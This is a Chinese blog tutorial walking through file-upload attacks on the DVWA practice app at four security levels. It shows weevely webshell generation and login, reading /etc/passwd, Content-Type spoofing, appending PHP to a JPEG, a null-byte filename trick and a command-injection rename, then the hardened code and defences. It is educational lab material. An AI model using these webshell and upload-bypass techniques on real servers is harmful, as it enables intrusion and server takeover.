DVWA 黑客攻防演練(五)文件上傳漏洞 File Upload

提及文件上傳漏洞 ,可謂是印象深入。有次公司的網站忽然訪問不到了,同事去服務器看了一下。全部 webroot 文件夾下的全部文件都被重命名成其餘文件,好比 jsp 文件變成 jsp.s ,以至於路徑映射不到 jsp 文件,同事懷疑是攻擊者上傳了個 webshell 文件而後進行批量重命名了。php

把後臺的代碼都找了一遍,後臺代碼也都有驗證文件擴展名的,後面是發現一張普通的照片實際上是代碼來的,但也不知道爲什麼可以執行。但看完這篇文章你就會明白了。 下面用 dvwa 來演示如何攻擊和防護。html

低級

用戶界面是這樣的,是一個簡單的上傳文件功能。linux

然而 Hacker 就上傳一個 phpinfo.php 文件git

<?
phpinfo();
?>

。。。結果以下
github

而後打開連接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。web

Hacker 想用 webshell 的方式嘗試一下。因而就用 Kali Linux 預裝的 weevely 工具生成一個 webshell 文件,這裏的 123456 是密碼,這個 webshell 要用密碼登陸的。shell

weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上傳完文件後,登陸windows

weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就變成你的地盤我作主了。 再來看看低級代碼。瀏覽器

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

爲什麼會變成這樣的呢?以爲主要是沒有限制文件擴展名吧。安全

中級

而中級代碼,多了文件類型和文件大小的限制

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

這裏代碼看上去好像類型都判斷了,應該是不能上傳 php 代碼了吧。 然而 Hacker 打開火狐瀏覽器的調試器(谷歌瀏覽器沒有修改功能,用 brup suite 之類的抓包也能夠的),找到對應請求後右鍵選擇-> edit and resend 而後將頭部的 content-type 改掉,再重發請求

結果以下

打開連接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高級

中級的代碼有漏洞的緣由是用 content-type 去判斷文件類型了,若是用擴展名去判斷還有問題嗎?高級代碼就是這樣想的,代碼以下

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

我嘗試過將 phpinfo.php 改爲 phpinfo.php.png ,然而不成功,由於調用了 getimagesize 這個函數,若是不是圖片文件就會返回 false。 可是若是這圖片既是圖片又是代碼呢? 有人能想到了嗎? 11年左右百度貼吧風靡一時圖種

好比這是你們老婆的圖片

保存下來,將擴展名改爲 zip ,再解壓(用命令行 unzip)。。。就有福利。

爲何能夠這樣 由於好比文件有特定的 jpg 標識,若是用看圖程序打開,只會去看有圖片標識的那部分,若是用 zip 壓縮文件打開,也只會看有 zip 標識的那部分,其餘部分會忽略的。 因此它既是圖片也是種子。所以。咱們能夠製做相似圖種的東西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg
  • linux/unix cat webshell.php >> gakki.jpg

因此咱們能夠製做一個 「圖php"

cat phpinfo.php >> gakki.jpg

只是上傳後,重命名是個問題。

php 5.4 之下還容易解決,由於那個版本就有個漏洞上傳gakki.php%00.jpg這種文件會當成gakki.php來執行的,由於 c語言等語言是用 \0 判斷字符符結束的,因此該會被服務器當成 gakki.php 執行。

在 File Upload 頁面無法重名了。。。找不到其餘方法。惟有藉助同一級別下的漏洞好比是命令行注入漏洞

而後輸入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php ,再訪問文件,結果以下

不可能

不可能級別的代碼有添加了這些

  • 使用 imagecreatefromjpegimagecreatefrompng 去掉了不屬於圖片的部分
  • 爲文件重命名成 隨機字符串。由於如何上傳的文件是 phpshell.php.rar ,Apache 不認識 rar 格式就會向前解析,文件就解析成 phpshell.php 了。
  • 用 anti-token 解決一些 CSRF 問題

代碼以下:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

也有其餘手段防護文件上傳漏洞(《白帽子講web安全》):

  • 設置文件目錄不能夠執行
  • 給文件服務器設置單獨的域名,由於不一樣源的緣由,請求會被瀏覽器攔截
相關文章
相關標籤/搜索